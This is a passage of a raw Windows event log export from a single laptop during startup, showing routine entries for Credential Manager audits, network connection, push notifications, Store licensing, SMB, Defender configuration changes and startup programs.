on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.704\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.705\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.705\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.726\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:08.726\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:08.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.767\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.769\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:08.770\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.813\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.813\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.840\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.841\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.841\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:09.061\t6062\t6062 - Wi-Fi Driver Info\tWarning\tSystem\tNetwtw14\n05.09.2026 08:29:09.083\t4042\tCapability change on {449f824d-2856-4717-a3a7-cf59faac817a} (0x47008000000000 Family: V4 Capability: Internet ChangeReason: ActiveHttpProbeSucceeded)\tInformation\tMicrosoft-Windows-NCSI/Operational\tMicrosoft-Windows-NCSI\n05.09.2026 08:29:09.084\t56\tIs a free network available: true\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:09.084\t55\tIs the Internet available: true\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:09.114\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.115\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.219\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.239\t4002\tTransitioning to State: Identified Network Interface Guid: {449f824d-2856-4717-a3a7-cf59faac817a}\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:09.242\t10000\t\"Network Connected\n\tName: HUAWEI_HG8245_WiFi\n\tDesc: HUAWEI_HG8245_WiFi\n\tType: Unmanaged\n\tState: Connected,IPV4 (Internet)\n\tCategory: Public\n\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:09.277\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.281\t1254\tWNP Transport Layer for Data Connection detected preferred interface change. Old index 0, old address family 0. New index 7, new address family 2, NDIS_PHYSICAL_MEDIUM 9.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.293\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.313\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.313\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.365\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: true\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:09.368\t8001\t\"Lease any offline running content after 1788571749 seconds\nFunction: NetworkStatusMonitor::Invoke\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\networkstatusmonitor.cpp (121)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8001\t\"Network connectivity level changed to 0x3\nFunction: NetworkStatusMonitor::Invoke\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\networkstatusmonitor.cpp (132)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8011\t0x21f83133e68: 13732: RootMachine: Dispatch: Root:EnsureAllKeysAndLeases => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8001\t\"0000021F83133E50: BeginRootLicense\nFunction: RootMachine::DoBeginRootLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\rootmachine.cpp (201)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8012\t0x21f83133e68: 13732: Root:Valid Change: Root:Negotiating => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8011\t0x21f83133e68: 13732: RootMachine: Dispatch: Root:@LicenseDone => Root:Negotiating\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8012\t0x21f83133e68: 13732: Root:Negotiating Change: Root:Valid => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.369\t1024\tInternet connection status changed to true, submitting pending workitems: count = 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.372\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.376\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.380\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.543\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:11.062\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Rules.RulesEngineAfterDeviceScanRulesEngineAfterDeviceScanExceptionGraphics: Object reference not set to an instance of an object.\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.064\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Session.PopulateSessionControllerSetComputerDataStaleDeviceDataFallback\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.068\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Session.PopulateSessionControllerSetComputerDataStaleStorageDeviceDataFallback\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.080\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Session.PopulateSessionControllerSetOemSupportDetailsUnknownOemHONOR/HONOR\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.318\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 9\nInterfaceIndex: 0x9\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:11.319\t1040\tReceived Mib notification type MibAddInstance for interface 9\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:11.319\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 9. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:11.415\t1010\t\"Endpoint added.\n\nName: HONOR-FRG-X     \nDomain Name: WORKGROUP\nTransport Name: \\Device\\NetBT_Tcpip_{449F824D-2856-4717-A3A7-CF59FAAC817A}\nTransport Flags: 0x1\n\nGuidance:\n\nYou should expect this event when the server starts listening on an interface, such as during system restart or when enabling a network adaptor. No user action is required.\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:12.853\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\ProtectionManagementMofHash = a4f0455797da589699c88048c9055208884c9ae1a24e5783028173202684753e\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\ProtectionManagementMofHash = 38eb3b5d90c1abdb84dc50dd0a18c5d6dec582c62c4ac821c09984d2a9b98ae8\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.853\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = LoadingEngine\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = ServiceStartedSuccessfully\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.856\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\Controls\\301 = 0x2710\n \tNew value: \"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.856\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\Controls\\282 = 0x1\n \tNew value: \"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.856\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\Controls\\290 = 0x1\n \tNew value: \"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.939\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:13.000\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:13.002\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:13.005\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:13.372\t171\tThe reader was created successfully for app package inputsuggestions_8.1002.26168.2_neutral_neutral_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:29:14.362\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.362\t9707\tStarted execution of command 'RtkAudUService64.exe\" -background'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.804\t9708\tFinished execution of command 'RtkAudUService64.exe\" -background' (PID 12628).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.804\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.805\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.805\t9707\tStarted execution of command 'chrome.exe\" --no-startup-window /prefetch:5'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:15.137\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t\t14420\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:15.109934300Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7096db7aeb75c0d3497ecd56d355a695_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:15.137\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tAES\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:16.419\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: false\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:16.423\t1024\tInternet connection status changed to true, submitting pending workitems: count = 0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:16.532\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t\t14976\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.492661000Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7096db7aeb75c0d3497ecd56d355a695_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:16.532\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tAES\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:16.536\t4\t\"Create Key operation failed.\n\n Cryptographic Parameters:\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1006//S-1-5-21-3712849175-2219398513-4278588552-1006//MSTestAvailability-FF2FA111-E816-4D1B-BDDD-65F189969E50\n \tAlgorithm Name:\tRSA\n \tFlags:\t\t0x0\n Failure Information:\n  \tReturn Code:\t0x80090016\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:18.100\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.100\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.116\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.116\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.291\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.291\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.291\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.299\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.305\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.305\t1205\tWNP Transport Layer Disconnect call initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t1264\tAdding new user to the Windows Push Notification Service completed. 00180018E4F8342E [DeviceId] 17056885 [UserId] 0x880403E8 [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.313\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.318\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.327\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.328\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 